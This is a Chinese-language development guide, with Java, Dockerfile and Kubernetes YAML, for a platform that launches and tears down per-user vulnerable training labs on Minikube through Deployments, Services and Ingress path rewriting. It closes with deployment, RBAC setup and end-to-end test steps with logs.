                             .withLabels(labels)
                         .endMetadata()
                         .withNewSpec()
                             .addNewContainer()
                                 .withName(definition.getId().toLowerCase() + "-container")
                                 .withImage(definition.getDockerImageName())
                                 .withImagePullPolicy("IfNotPresent")
                                 .addNewPort()
                                     .withContainerPort(definition.getContainerPort())
                                 .endPort()
                             .endContainer()
                         .endSpec()
                     .endTemplate()
                 .endSpec()
                .build();
        client.apps().deployments().inNamespace(K8S_NAMESPACE).resource(deployment).create();
        logger.info("Deployment {} created.", deploymentName);
        // 2. Create Service (now ClusterIP type)
        ServicePort servicePort = new ServicePortBuilder()
                .withName(definition.getContainerPort() + "-tcp")
                .withProtocol("TCP")
                .withPort(definition.getContainerPort()) // Service's port
                .withTargetPort(new IntOrString(definition.getContainerPort())) // Pod's containerPort
                .build();
        Service service = new ServiceBuilder()
                .withNewMetadata()
                    .withName(serviceName)
                    .withNamespace(K8S_NAMESPACE)
                    .withLabels(labels)
                .endMetadata()
                .withNewSpec()
                    .withType("ClusterIP") // CHANGED: No longer NodePort
                    .withSelector(Collections.singletonMap("app", appLabelValue))
                    .withPorts(servicePort)
                .endSpec()
                .build();
        client.services().inNamespace(K8S_NAMESPACE).resource(service).create();
        logger.info("Service (ClusterIP) {} created.", serviceName);
        // 3. Create Ingress to expose the Service
        String ingressPathForLab = LAB_INGRESS_PATH_PREFIX + deploymentName; // e.g., /labs/lab-sqli-java-001-...
        ServiceBackendPort backendPort = new ServiceBackendPortBuilder().withNumber(definition.getContainerPort()).build();
        IngressServiceBackend serviceBackend = new IngressServiceBackendBuilder().withName(serviceName).withPort(backendPort).build();
        IngressBackend ingressBackend = new IngressBackendBuilder().withService(serviceBackend).build();
        // Option 1: Simplest for prefix if app handles being at root.
        // Path: /labs/instance-id
        // Rewrite: /
        // This means /labs/instance-id/search -> /search at backend
        //         /labs/instance-id/      -> / at backend
        HTTPIngressPath httpIngressPath = new HTTPIngressPathBuilder()
                .withPath(ingressPathForLab) // NO TRAILING SLASH HERE if PathType is Prefix and rewrite is /
                .withPathType("Prefix")
                .withBackend(ingressBackend)
                .build();
        Map<String, String> ingressAnnotations = new HashMap<>();
        // This rewrite rule, with PathType: Prefix and path: /foo,
        // will rewrite /foo/bar to /bar for the backend.
        // It will rewrite /foo to / for the backend.
        ingressAnnotations.put("nginx.ingress.kubernetes.io/rewrite-target", "/$1");
        // IMPORTANT: For this to work with path /foo and pathType Prefix,
        // the path in HTTPIngressPath should be defined to capture the rest.
        // Let's try a more standard Nginx Ingress capture pattern for prefix stripping.
        // Option 2: More robust regex for prefix stripping
        // Path: /labs/instance-id(/|$)(.*)  -- Pattern for the path
        // Rewrite target: /$2                -- What to rewrite to
        // This is what you had, let's ensure use-regex is also set
        String ingressPathPattern = ingressPathForLab + "(/|$)(.*)";
        httpIngressPath = new HTTPIngressPathBuilder()
                .withPath(ingressPathPattern)
                .withPathType("ImplementationSpecific") // Or "Exact" with regex, Nginx often treats paths with () as regex
                .withBackend(ingressBackend)
                .build();
        ingressAnnotations.clear(); // Clear previous annotations for clarity
        ingressAnnotations.put("nginx.ingress.kubernetes.io/use-regex", "true"); // Ensure regex is used
        ingressAnnotations.put("nginx.ingress.kubernetes.io/rewrite-target", "/$2"); // Rewrite to the second capture group
        IngressRule ingressRule = new IngressRuleBuilder()
                .withNewHttp()
                .withPaths(httpIngressPath)
                .endHttp()
                .build();
        Ingress ingress = new IngressBuilder()
                .withNewMetadata()
                .withName(ingressName)
                .withNamespace(K8S_NAMESPACE)
                .withLabels(labels)
                .withAnnotations(ingressAnnotations)
                .endMetadata()
                .withNewSpec()
                .withIngressClassName("nginx") // Explicitly set
                .withRules(ingressRule)
                .endSpec()
                .build();
        client.network().v1().ingresses().inNamespace(K8S_NAMESPACE).resource(ingress).create();
        logger.info("Ingress {} created for path pattern {}. Rewrite target /$2.", ingressName, ingressPathPattern);
        return deploymentName;
    }
    public void terminateLabEnvironment(String instanceId /* deploymentName */) {
        String deploymentName = instanceId;
        String serviceName = instanceId + "-svc";
        String ingressName = instanceId + "-ing"; // Assuming this convention
        logger.info("Attempting to terminate lab instance: {}", instanceId);
        // Delete Ingress
        try {
            boolean ingressDeleted = client.network().v1().ingresses().inNamespace(K8S_NAMESPACE).withName(ingressName).delete().size() > 0;
            if (ingressDeleted) {
                logger.info("Ingress {} deletion initiated.", ingressName);
            } else {
                logger.warn("Ingress {} not found or could not be deleted.", ingressName);
            }
        } catch (Exception e) {
            logger.error("Error deleting Ingress {}: {}", ingressName, e.getMessage());
        }
        
        // Delete Service
        try {
            boolean serviceDeleted = client.services().inNamespace(K8S_NAMESPACE).withName(serviceName).delete().size() > 0;
            if (serviceDeleted) {
                logger.info("Service {} deletion initiated.", serviceName);
            } else {
                logger.warn("Service {} not found or could not be deleted.", serviceName);
            }
        } catch (Exception e) {
            logger.error("Error deleting Service {}: {}", serviceName, e.getMessage());
        }
        // Delete Deployment
        try {
            boolean deploymentDeleted = client.apps().deployments().inNamespace(K8S_NAMESPACE).withName(deploymentName).delete().size() > 0;
            if (deploymentDeleted) {
                logger.info("Deployment {} deletion initiated.", deploymentName);
            } else {
                logger.warn("Deployment {} not found or could not be deleted.", deploymentName);
            }
        } catch (Exception e) {
            logger.error("Error deleting Deployment {}: {}", deploymentName, e.getMessage());
        }
    }
}

创建 Ingress

让用户通过 URL 访问容器服务,例如:

/labs/lab-sqli-java-abc123 -> 映射到 ClusterIP Service:port

路径策略:

/labs/lab-sqli-java-abc123(/|$)(.*)

配合注解:

nginx.ingress.kubernetes.io/use-regex: "true"
nginx.ingress.kubernetes.io/rewrite-target: "/$2"

这表示:

  • /labs/abc/foo 被映射为容器中的 /foo
  • /labs/abc/ 被映射为容器中的 /

等价于路径前缀剥离功能。

创建主业务服务类 (LabOrchestrationManager.java 或类似):

这个服务将使用 VulnerabilityDefinitionClient 和 KubernetesService。

在 src/main/java/com/tianshu/lab/platform/laborchestrationservice/service 目录下创建。

LabManagerService.java:

package com.chenluo.laborchestrationservice.service;
import com.chenluo.laborchestrationservice.client.VulnerabilityDefinitionClient;
import com.chenluo.laborchestrationservice.model.LabInstanceInfo;
import com.chenluo.laborchestrationservice.model.VulnerabilityDefinition;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value; // For Ingress base URL
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Service;
@Service
public class LabManagerService {
    private static final Logger logger = LoggerFactory.getLogger(LabManagerService.class);
    private final VulnerabilityDefinitionClient definitionClient;
    private final KubernetesService kubernetesService;
    @Value("${platform.ingress.base-url:http://localhost}") 
  
    private String ingressBaseUrl;
    @Autowired
    public LabManagerService(VulnerabilityDefinitionClient definitionClient, KubernetesService kubernetesService) {
        this.definitionClient = definitionClient;
        this.kubernetesService = kubernetesService;
    }
    public LabInstanceInfo launchLab(String vulnerabilityId, String userId) {
        logger.info("Received launch request for vulnerabilityId: {}, userId: {}", vulnerabilityId, userId);
        ResponseEntity<VulnerabilityDefinition> response = definitionClient.getDefinitionById(vulnerabilityId);
        if (!response.getStatusCode().is2xxSuccessful() || response.getBody() == null) {
            logger.error("Failed to get vulnerability definition for id: {}. Status: {}", vulnerabilityId, response.getStatusCode());
            return new LabInstanceInfo(null, vulnerabilityId, null, "ERROR_DEF_NOT_FOUND");
        }
        VulnerabilityDefinition definition = response.getBody();
        logger.info("Successfully fetched definition: {}", definition.getName());
        // KubernetesService now returns only the instanceId (deploymentName)
        String instanceId = kubernetesService.launchLabEnvironment(definition, userId);
        if (instanceId != null && !instanceId.contains("Error")) { // Basic error check
            // Construct access URL based on Ingress path
            // The path used in KubernetesService was KubernetesService.LAB_INGRESS_PATH_PREFIX + instanceId
            String labPath = KubernetesService.LAB_INGRESS_PATH_PREFIX + instanceId;
            // Ensure no double slashes if ingressBaseUrl might have a trailing slash
            String cleanIngressBaseUrl = ingressBaseUrl.endsWith("/") ? ingressBaseUrl.substring(0, ingressBaseUrl.length() -1) : ingressBaseUrl;
            String cleanLabPath = labPath.startsWith("/") ? labPath : "/" + labPath;
            String accessUrl = cleanIngressBaseUrl + cleanLabPath;
            if (!accessUrl.endsWith("/")) { // Ensure trailing slash if apps expect it or links are relative
                accessUrl += "/";
            }
            logger.info("Lab {} launched successfully. Access URL via Ingress: {}", instanceId, accessUrl);
            return new LabInstanceInfo(instanceId, vulnerabilityId, accessUrl, "RUNNING");
        } else {
            logger.error("Failed to launch lab environment for vulnerabilityId: {}. K8s launch issue: {}", vulnerabilityId, instanceId);
            return new LabInstanceInfo(instanceId, vulnerabilityId, null, "ERROR_K8S_LAUNCH");
        }
    }
    public void terminateLab(String instanceId) {
        logger.info("Received termination request for instanceId: {}", instanceId);
        kubernetesService.terminateLabEnvironment(instanceId);
        logger.info("Lab instance {} termination process initiated.", instanceId);
    }
}

创建 REST Controller:

在 src/main/java/com/tianshu/lab/platform/laborchestrationservice/controller 目录下创建。

LabController.java:

package com.chenluo.laborchestrationservice.controller;
import com.chenluo.laborchestrationservice.model.LabInstanceInfo;
import com.chenluo.laborchestrationservice.service.LabManagerService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import java.util.Map;
@RestController
@RequestMapping("/api/v1/labs")
public class LabController {
    private final LabManagerService labManagerService;
    @Autowired
    public LabController(LabManagerService labManagerService) {
        this.labManagerService = labManagerService;
    }
    @PostMapping("/launch")
    public ResponseEntity<LabInstanceInfo> launchLab(@RequestBody Map<String, String> payload) {
        String vulnerabilityId = payload.get("vulnerabilityId");
        String userId = payload.getOrDefault("userId", "defaultUser"); // Get userId or default
        if (vulnerabilityId == null || vulnerabilityId.trim().isEmpty()) {
            return ResponseEntity.badRequest().body(new LabInstanceInfo(null, null, null, "MISSING_VULN_ID"));
        }
        LabInstanceInfo instanceInfo = labManagerService.launchLab(vulnerabilityId, userId);
        if (instanceInfo.getAccessUrl() != null) {
            return ResponseEntity.ok(instanceInfo);
        } else {
            // More specific error handling based on instanceInfo.status can be done
            return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(instanceInfo);
        }
    }
    // DELETE /api/v1/labs/{instanceId}
    @DeleteMapping("/{instanceId}")
    public ResponseEntity<String> terminateLab(@PathVariable("instanceId") String instanceId) {
        // TODO: Get userId from security context for proper authorization
        // String userId = "someAuthenticatedUser";
        try {
            labManagerService.terminateLab(instanceId);
            return ResponseEntity.ok("Lab instance " + instanceId + " termination initiated.");
        } catch (Exception e) {
            // Log exception e
            return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)
                                 .body("Failed to terminate lab instance " + instanceId + ": " + e.getMessage());
        }
    }
    // TODO: Add GET endpoint to list running labs for a user (requires state management)
}

# 步骤 1.5: Dockerize lab-orchestration-service

目标是为 lab-orchestration-service 创建一个 Dockerfile,构建其 Docker 镜像,并将其推送到镜像仓库 (例如 Docker Hub)。

  1. 创建 Dockerfile for lab-orchestration-service :

    • 在总模块的根目录 dockerfiles 下创建一个名为 lab-orchestration-service.Dockerfile 的文件。

    tian-shu-platform/platform-services/lab-orchestration-service/Dockerfile :

    # Stage 1: Build the application using Maven
    FROM eclipse-temurin:17-jdk-jammy as builder
    WORKDIR /build_workspace
    # Copy the entire project context (from tian-shu-platform root)
    COPY . .
    # Install root POM, then platform-services parent POM, then package the specific service
    RUN ./mvnw clean install -N
    RUN ./mvnw clean install -pl platform-services/pom.xml -am
    RUN ./mvnw package -pl platform-services/lab-orchestration-service -DskipTests
    # Stage 2: Create the runtime image
    FROM eclipse-temurin:17-jre-jammy
    WORKDIR /app
    # Copy the executable JAR from the builder stage
    COPY --from=builder /build_workspace/platform-services/lab-orchestration-service/target/lab-orchestration-service.jar app.jar
    EXPOSE 8082
    ENTRYPOINT ["java", "-jar", "app.jar"]
  2. 构建 Docker 镜像 for lab-orchestration-service :

    构建命令:

    docker build -t tianshuvuln/lab-orchestration-service:0.1.0 -f dockerfiles/lab-orchestration-service.Dockerfile .
  3. 推送到镜像仓库

    docker login
    docker push tianshuvuln/lab-orchestration-service:0.1.0

    # 步骤 1.6: 将 lab-orchestration-service 部署到 Kubernetes 集群

由于 lab-orchestration-service 需要与 Kubernetes API 交互来创建和删除其他资源(例如靶场环境的 Deployments 和 Services),我们需要为它配置适当的权限。

创建以下 Kubernetes 对象:

  • ServiceAccount: 一个身份, lab-orchestration-service 的 Pod 将使用此身份与 K8s API 服务器通信。

  • Role: 定义了一组权限(例如,允许创建、删除、获取 Deployments 和 Services)。我们将把这个 Role 限制在 default 命名空间(或者您选择的其他命名空间)。

  • RoleBinding: 将上面定义的 Role 授予给创建的 ServiceAccount

  • Deployment: 用于部署 lab-orchestration-service 的 Pod。

  • Service: 用于暴露 lab-orchestration-service 的 API。

  1. 创建 RBAC 配置 (ServiceAccount, Role, RoleBinding)

    tian-shu-platform/kubernetes-manifests/platform/ 目录下创建一个新文件,例如 lab-orchestration-service-rbac.yaml

    apiVersion: v1
    kind: ServiceAccount
    metadata:
      name: lab-orchestrator-sa # ServiceAccount name
      namespace: default # Or the namespace where you'll deploy the service
    ---
    apiVersion: rbac.authorization.k8s.io/v1
    kind: Role
    metadata:
      namespace: default # Same namespace as ServiceAccount and where labs will be managed
      name: lab-orchestrator-role
    rules:
      - apiGroups: [ "apps" ] # For Deployments
        resources: [ "deployments" ]
        verbs: [ "get", "list", "watch", "create", "delete", "update", "patch" ]
      - apiGroups: [ "" ] # For core API group (Services, Pods)
        resources: [ "services", "pods" ] # Added pods for potential future use
        verbs: [ "get", "list", "watch", "create", "delete", "update", "patch" ]
      - apiGroups: [ "networking.k8s.io" ] # Permissions for Ingress resources
        resources: [ "ingresses" ]
        verbs: [ "get", "list", "watch", "create", "delete", "update", "patch" ]
    # Add more permissions here if needed in the future (e.g., for ConfigMaps, Secrets)
    ---
    apiVersion: rbac.authorization.k8s.io/v1
    kind: RoleBinding
    metadata:
      name: lab-orchestrator-rolebinding
      namespace: default # Same namespace
    subjects:
      - kind: ServiceAccount
        name: lab-orchestrator-sa # Name of the ServiceAccount
        namespace: default
    roleRef:
      kind: Role # This must be Role or ClusterRole
      name: lab-orchestrator-role # Name of the Role defined above
      apiGroup: rbac.authorization.k8s.io
  2. 创建 Kubernetes Deployment for lab-orchestration-service

    tian-shu-platform/kubernetes-manifests/platform/ 目录下创建一个新文件,例如 lab-orchestration-service-deployment.yaml

    lab-orchestration-service-deployment.yaml :

    apiVersion: apps/v1
    kind: Deployment
    metadata:
      name: lab-orchestration-service-deployment
      namespace: default # Ensure this matches RBAC configurations
      labels:
        app: lab-orchestration-service
    spec:
      replicas: 1
      selector:
        matchLabels:
          app: lab-orchestration-service
      template:
        metadata:
          labels:
            app: lab-orchestration-service
        spec:
          serviceAccountName: lab-orchestrator-sa # IMPORTANT: Use the ServiceAccount created above
          containers:
            - name: lab-orchestration-container
              image: tianshuvuln/lab-orchestration-service:0.1.7
              imagePullPolicy: IfNotPresent # Or Always
              ports:
                - containerPort: 8082 # Port the app listens on
              env:
                - name: VULNERABILITY_DEFINITION_SERVICE_URL
                  # Use Kubernetes internal DNS name for service-to-service communication
                  # Format: http://<service-name>.<namespace>.svc.cluster.local:<port>
                  # Our vuln-def-service-svc is in 'default' namespace, service name 'vuln-def-service-svc', port 8081
                  value: "http://vuln-def-service-svc.default.svc.cluster.local:8081"
                - name: MINIKUBE_IP # This might not be strictly needed if URL construction is handled by frontend or ingress later
                  value: "192.168.49.2" # Or dynamically discovered if possible, or removed if frontend constructs full URL
              # (Optional but recommended) Health Probes
              # livenessProbe:
              #   httpGet:
              #     path: /actuator/health/liveness
              #     port: 8082
              #   initialDelaySeconds: 45
              #   periodSeconds: 15
              # readinessProbe:
              #   httpGet:
              #     path: /actuator/health/readiness
              #     port: 8082
              #   initialDelaySeconds: 30
              #   periodSeconds: 10

    serviceAccountName: lab-orchestrator-sa : 这是关键!它告诉 Kubernetes 这个 Deployment 创建的 Pod 应该使用我们上面定义的 lab-orchestrator-sa ServiceAccount。这样,Pod 内的 Fabric8 Kubernetes Client 就能自动使用这个 ServiceAccount 的令牌来认证并与 K8s API 服务器交互,并拥有我们在 Role 中定义的权限。

    env (Environment Variables):

    • VULNERABILITY_DEFINITION_SERVICE_URL : 非常重要! 我们现在将 vulnerability-definition-service 的 URL 设置为其在 Kubernetes 集群内部的 DNS 名称: http://vuln-def-service-svc.default.svc.cluster.local:8081
      • vuln-def-service-svc : 是 vulnerability-definition-service 的 Kubernetes Service 名称。
      • default : 是该 Service 所在的命名空间。
      • svc.cluster.local : 是 Kubernetes 集群内部的默认 DNS 后缀。
      • 8081 : 是 vuln-def-service-svc 监听的端口 (Service port, not NodePort)。
      • lab-orchestration-serviceapplication.yml ,让 Feign 客户端的 URL 从这个环境变量读取。
  3. 创建 Kubernetes Service for lab-orchestration-service

    tian-shu-platform/kubernetes-manifests/platform/ 目录下创建 lab-orchestration-service-svc.yaml

    apiVersion: v1
    kind: Service
    metadata:
      name: lab-orchestration-service-svc
      namespace: default
      labels:
        app: lab-orchestration-service
    spec:
      type: ClusterIP # For initial access from outside the cluster
      selector:
        app: lab-orchestration-service # Must match labels of the Deployment's Pods
      ports:
        - name: http
          protocol: TCP
          port: 8082       # Service's port within the cluster
          targetPort: 8082 # Container port lab-orchestration-service listens on
          # nodePort: 30082 # Optional: specify NodePort, or let K8s assign one
  4. 应用所有新的 YAML 文件到 Kubernetes 集群

    • 打开终端,导航到 tian-shu-platform/kubernetes-manifests/platform/ 目录。

    • 按顺序应用(或者一起应用):

      kubectl apply -f lab-orchestration-service-rbac.yaml
      kubectl apply -f lab-orchestration-service-deployment.yaml
      kubectl apply -f lab-orchestration-service-svc.yaml
  5. 验证部署状态

    • 检查 RBAC (通常不需要直接检查,除非 Deployment 因权限问题失败):

      # 查看 ServiceAccount
      kubectl get sa -n default lab-orchestrator-sa -o yaml 
      # 查看 Role
      kubectl get role -n default lab-orchestrator-role -o yaml 
      # 查看 RoleBinding
      kubectl get rolebinding -n default lab-orchestrator-rolebinding -o yaml
    • 检查 Deployment:

      kubectl get deployment lab-orchestration-service-deployment -n default
      # 等待 READY 1/1, AVAILABLE 1
      kubectl describe deployment lab-orchestration-service-deployment -n default
    • 检查 Pod:

      kubectl get pods -n default -l app=lab-orchestration-service
      # 等待 Pod 状态为 Running
      # 如果 Pod 状态为 CrashLoopBackOff 或 Error,查看日志:
      kubectl logs <lab-orchestration-service-pod-name> -n default
      # 检查 Pod 是否使用了正确的 ServiceAccount:
      kubectl describe pod <lab-orchestration-service-pod-name> -n default | grep "Service Account"

      在 Pod 日志中,您应该能看到

      lab-orchestration-service

      成功启动。Fabric8 Kubernetes Client 在 Pod 内运行时,如果配置了

      serviceAccountName

      ,它会自动使用该 ServiceAccount 的令牌与 K8s API 通信。

    • 检查 Service:

      Bash

      kubectl get service lab-orchestration-service-svc -n default
      # 记下分配的 NodePort
      

    完成以上步骤后, lab-orchestration-service 就应该成功部署在 Minikube 中,并具备了与 K8s API 交互的权限,同时其自身的 API 也通过 NodePort 暴露出来了。

    为平台核心服务创建 Ingress 规则

    创建 Ingress YAML 文件 ( tian-shu-platform/kubernetes-manifests/platform/platform-ingress.yaml ):

    apiVersion: networking.k8s.io/v1
    kind: Ingress
    metadata:
      name: tianshu-platform-ingress
      namespace: default
      annotations:
        nginx.ingress.kubernetes.io/rewrite-target: /$2 # To strip prefix if needed
        # Or if your services handle the full path:
        # nginx.ingress.kubernetes.io/rewrite-target: /$1$2
    spec:
      rules:
        - http:
            paths:
              - path: /definitions(/|$)(.*) # Matches /definitions, /definitions/, /definitions/anything
                pathType: ImplementationSpecific # Or Prefix
                backend:
                  service:
                    name: vuln-def-service-svc
                    port:
                      number: 8081 # Port of vuln-def-service-svc
              - path: /orchestration(/|$)(.*) # Matches /orchestration, /orchestration/, /orchestration/anything
                pathType: ImplementationSpecific # Or Prefix
                backend:
                  service:
                    name: lab-orchestration-service-svc
                    port:
                      number: 8082 # Port of lab-orchestration-service-svc

# 步骤 1.7: 测试端到端流程 (所有后端服务均在 Kubernetes 中运行)

目标是验证整个流程:从外部调用运行在 K8s 中的 lab-orchestration-service 的 API,该服务再调用运行在 K8s 中的 vulnerability-definition-service ,然后 lab-orchestration-service 在 K8s 中创建靶场环境 (Deployment 和 Service),最后我们能访问到这个新创建的靶场环境,并能将其终止。

1. 获取 lab-orchestration-service 的外部访问 URL

  • 使用 minikube service 命令:

    Bash

    minikube service lab-orchestration-service-svc -n default
    

    这会在浏览器中打开一个通过隧道转发的本地 URL (如 http://127.0.0.1:ZZZZZ ),或者直接显示 NodePort URL。使用哪个 URL 进行测试都可以。

2. 测试启动靶场环境

  • 工具: Postman、Insomnia 或 curl

  • 请求:

    • Method: POST

    • URL: http://<minikube_ip_or_127.0.0.1>:<lab_orch_svc_nodeport_or_tunnelport>/api/v1/labs/launch

    • (例如: http://192.168.49.2:YYYYY/api/v1/labs/launch )

    • Body (raw, JSON):

      {
          "vulnerabilityId": "sqli-java-001",
          "userId": "k8sTestUser001"
      }
      
  • 预期行为与观察点:

    1. lab-orchestration-service Pod 日志:

      kubectl logs <lab-orchestration-service-pod-name> -n default -f
      
      • 应该看到接收到请求的日志。
      • 应该看到它尝试通过内部 DNS 名称 ( http://vuln-def-service-svc.default.svc.cluster.local:8081 ) 调用 vulnerability-definition-service 的日志,并且调用成功。
      • 应该看到与 K8s API 交互创建新的靶场 Deployment 和 Service 的日志。
      • 应该看到成功获取新靶场 Service 的 NodePort 并构造访问 URL 的日志。
      (base) ~/Documents/JavaApplication/saasplatform/tianshu/platform-services/vulnerability-definition-service
      kubectl logs lab-orchestration-service-deployment-cd7d676ff-chhm2 -n default -f
        .   ____          _            __ _ _
       /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
      ( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
       \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
        '  |____| .__|_| |_|_| |_\__, | / / / /
       =========|_|==============|___/=/_/_/_/
       :: Spring Boot ::                (v3.4.5)
      2025-05-14T13:34:50.536Z  INFO 1 --- [lab-orchestration-service] [           main] c.c.l.LabOrchestrationServiceApplication : Starting LabOrchestrationServiceApplication using Java 17.0.15 with PID 1 (/app/app.jar started by root in /app)
      2025-05-14T13:34:50.538Z  INFO 1 --- [lab-orchestration-service] [           main] c.c.l.LabOrchestrationServiceApplication : No active profile set, falling back to 1 default profile: "default"
      2025-05-14T13:34:51.781Z  INFO 1 --- [lab-orchestration-service] [           main] o.s.cloud.context.scope.GenericScope     : BeanFactory id=e32cba80-b24a-3adb-b572-53d198aa181a
      2025-05-14T13:34:52.045Z  INFO 1 --- [lab-orchestration-service] [           main] o.s.b.w.embedded.tomcat.TomcatWebServer  : Tomcat initialized with port 8082 (http)
      2025-05-14T13:34:52.085Z  INFO 1 --- [lab-orchestration-service] [           main] o.apache.catalina.core.StandardService   : Starting service [Tomcat]
      2025-05-14T13:34:52.085Z  INFO 1 --- [lab-orchestration-service] [           main] o.apache.catalina.core.StandardEngine    : Starting Servlet engine: [Apache Tomcat/10.1.40]
      2025-05-14T13:34:52.103Z  INFO 1 --- [lab-orchestration-service] [           main] o.a.c.c.C.[Tomcat].[localhost].[/]       : Initializing Spring embedded WebApplicationContext
      2025-05-14T13:34:52.104Z  INFO 1 --- [lab-orchestration-service] [           main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 1407 ms
      2025-05-14T13:34:52.688Z  INFO 1 --- [lab-orchestration-service] [           main] c.c.l.service.KubernetesService          : Kubernetes client initialized. Namespace: default
      2025-05-14T13:34:53.123Z  INFO 1 --- [lab-orchestration-service] [           main] o.s.b.a.e.web.EndpointLinksResolver      : Exposing 1 endpoint beneath base path '/actuator'
      2025-05-14T13:34:53.215Z  INFO 1 --- [lab-orchestration-service] [           main] o.s.b.w.embedded.tomcat.TomcatWebServer  : Tomcat started on port 8082 (http) with context path '/'
      2025-05-14T13:34:53.240Z  INFO 1 --- [lab-orchestration-service] [           main] c.c.l.LabOrchestrationServiceApplication : Started LabOrchestrationServiceApplication in 3.409 seconds (process running for 4.249)
      2025-05-14T13:39:21.631Z  INFO 1 --- [lab-orchestration-service] [nio-8082-exec-1] o.a.c.c.C.[Tomcat].[localhost].[/]       : Initializing Spring DispatcherServlet 'dispatcherServlet'
      2025-05-14T13:39:21.638Z  INFO 1 --- [lab-orchestration-service] [nio-8082-exec-1] o.s.web.servlet.DispatcherServlet        : Initializing Servlet 'dispatcherServlet'
      2025-05-14T13:39:21.724Z  INFO 1 --- [lab-orchestration-service] [nio-8082-exec-1] o.s.web.servlet.DispatcherServlet        : Completed initialization in 85 ms
      2025-05-14T13:40:01.799Z  INFO 1 --- [lab-orchestration-service] [nio-8082-exec-7] c.c.l.service.LabManagerService          : Received launch request for vulnerabilityId: sqli-java-001, userId: k8stestuser001
      2025-05-14T13:40:02.918Z  INFO 1 --- [lab-orchestration-service] [nio-8082-exec-7] c.c.l.service.LabManagerService          : Successfully fetched definition: Simple SQL Injection (Java)
      2025-05-14T13:40:02.920Z  INFO 1 --- [lab-orchestration-service] [nio-8082-exec-7] c.c.l.service.KubernetesService          : Attempting to launch lab: id=sqli-java-001, image=tianshuvuln/vuln-sqli-example-java:0.1.4, deploymentName=lab-sqli-java-001-k8stestuser001-c2da63dc, serviceName=lab-sqli-java-001-k8stestuser001-c2da63dc-svc, ingressName=lab-sqli-java-001-k8stestuser001-c2da63dc-ing
      2025-05-14T13:40:03.800Z  INFO 1 --- [lab-orchestration-service] [nio-8082-exec-7] c.c.l.service.KubernetesService          : Deployment lab-sqli-java-001-k8stestuser001-c2da63dc created.
      2025-05-14T13:40:04.201Z  INFO 1 --- [lab-orchestration-service] [nio-8082-exec-7] c.c.l.service.KubernetesService          : Service (ClusterIP) lab-sqli-java-001-k8stestuser001-c2da63dc-svc created.
      2025-05-14T13:40:04.801Z  INFO 1 --- [lab-orchestration-service] [nio-8082-exec-7] c.c.l.service.KubernetesService          : Ingress lab-sqli-java-001-k8stestuser001-c2da63dc-ing created for path pattern /labs/lab-sqli-java-001-k8stestuser001-c2da63dc(/|$)(.*). Rewrite target /$2.
      2025-05-14T13:40:04.802Z  INFO 1 --- [lab-orchestration-service] [nio-8082-exec-7] c.c.l.service.LabManagerService          : Lab lab-sqli-java-001-k8stestuser001-c2da63dc launched successfully. Access URL via Ingress: http://localhost/labs/lab-sqli-java-001-k8stestuser001-c2da63dc/
    2. vulnerability-definition-service Pod 日志 (可选,确认被调用):

      kubectl logs <vuln-def-service-pod-name> -n default -f
      • 应该看到它接收到来自 lab-orchestration-service 的 API 请求的日志。
    3. Kubernetes 集群状态:

      • 使用 kubectl get deployments,services,pods -n default 查看是否有新的靶场环境资源(Deployment、Service、Pod)被创建,名称类似 lab-sqli-java-001-k8stestuser001-xxxxxx
      • 观察新的靶场 Pod 是否能成功启动 (可能需要拉取 tianshuvuln/vuln-sqli-example-java:0.1.0 镜像)。

    4. API 响应:

3. 访问新启动的靶场环境

  • 打开隧道

    minikube tunnel

  • 从上一步的 API 响应中获取 accessUrl (例如 http://192.168.49.2:ZZZZZ )。

  • 在浏览器中打开这个 URL。您应该能看到 vuln-sqli-example-java 应用的界面。

  • 进行 SQL 注入测试,确认靶场功能正常。

4. 测试终止靶场环境

  • 前提: 您已成功启动一个靶场,并获得了其 instanceId

  • 请求:

    • Method: DELETE
    • URL: http://<minikube_ip_or_127.0.0.1>:<lab_orch_svc_nodeport_or_tunnelport>/api/v1/labs/<instanceId_from_launch_response>

  • 预期行为与观察点:

    1. lab-orchestration-service Pod 日志:

      • 应该看到接收到终止请求的日志。
      • 应该看到与 K8s API 交互删除靶场 Deployment 和 Service 的日志。
    2. Kubernetes 集群状态:

      • 使用 kubectl get deployments,services,pods -n default 查看之前创建的靶场环境资源是否已被删除或正在终止。
    3. API 响应:

      • 应该收到一个

        200 OK
        

        响应,Body 类似:

        Lab instance lab-sqli-java-001-k8stestuser001-xxxxxx termination initiated.
        

完成这些端到端测试后,您的核心 MVP(最小可行产品)的后端部分就基本完成了!所有核心服务都在 Kubernetes 中运行,并且能够动态地创建和销毁靶场环境。

项目启动过程:

  1. Minikube 正在运行:
    • 执行 minikube status 确认。如果未运行,执行 minikube start
  2. Docker 镜像已构建并推送到仓库:
    • tianshuvuln/vulnerability-definition-service:0.1.0 (或您使用的最新版本)
    • tianshuvuln/lab-orchestration-service:0.1.3 (或您使用的最新版本)
    • tianshuvuln/vuln-sqli-example-java:0.1.1 (或您使用的最新版本)
  3. Kubernetes YAML 文件已准备好:
    • 位于 tian-shu-platform/kubernetes-manifests/platform/ 目录下。
    • 包括:
      • vulnerability-definition-service-deployment.yaml
      • vulnerability-definition-service-svc.yaml
      • lab-orchestration-service-rbac.yaml
      • lab-orchestration-service-deployment.yaml
      • lab-orchestration-service-svc.yaml
      • platform-ingress.yaml
  4. kubectl 已配置为指向您的 Minikube 集群:
    • kubectl config current-context 应显示 minikube

启动服务步骤:

我们将按以下顺序启动,以确保依赖关系得到满足(尽管 Kubernetes 的设计能够处理一定程度的启动顺序不确定性):

1. 启动 Nginx Ingress Controller (如果尚未运行或被清除了)

  • 如果您之前执行了彻底的清理(如

    minikube delete
    

    ),或者 Ingress Controller 插件被禁用了,您需要重新启用它。

    Bash

    minikube addons enable ingress
    
  • 等待 Ingress Controller Pod 启动并运行:

    Bash

    kubectl get pods -n ingress-nginx -w
    

    (按

    Ctrl+C
    

    停止等待,当所有 Pod 都

    Running
    

    READY
    

    时)

2. 启动 minikube tunnel (关键步骤,用于通过 Ingress 访问)

  • 在新的、独立的终端窗口中

    执行:

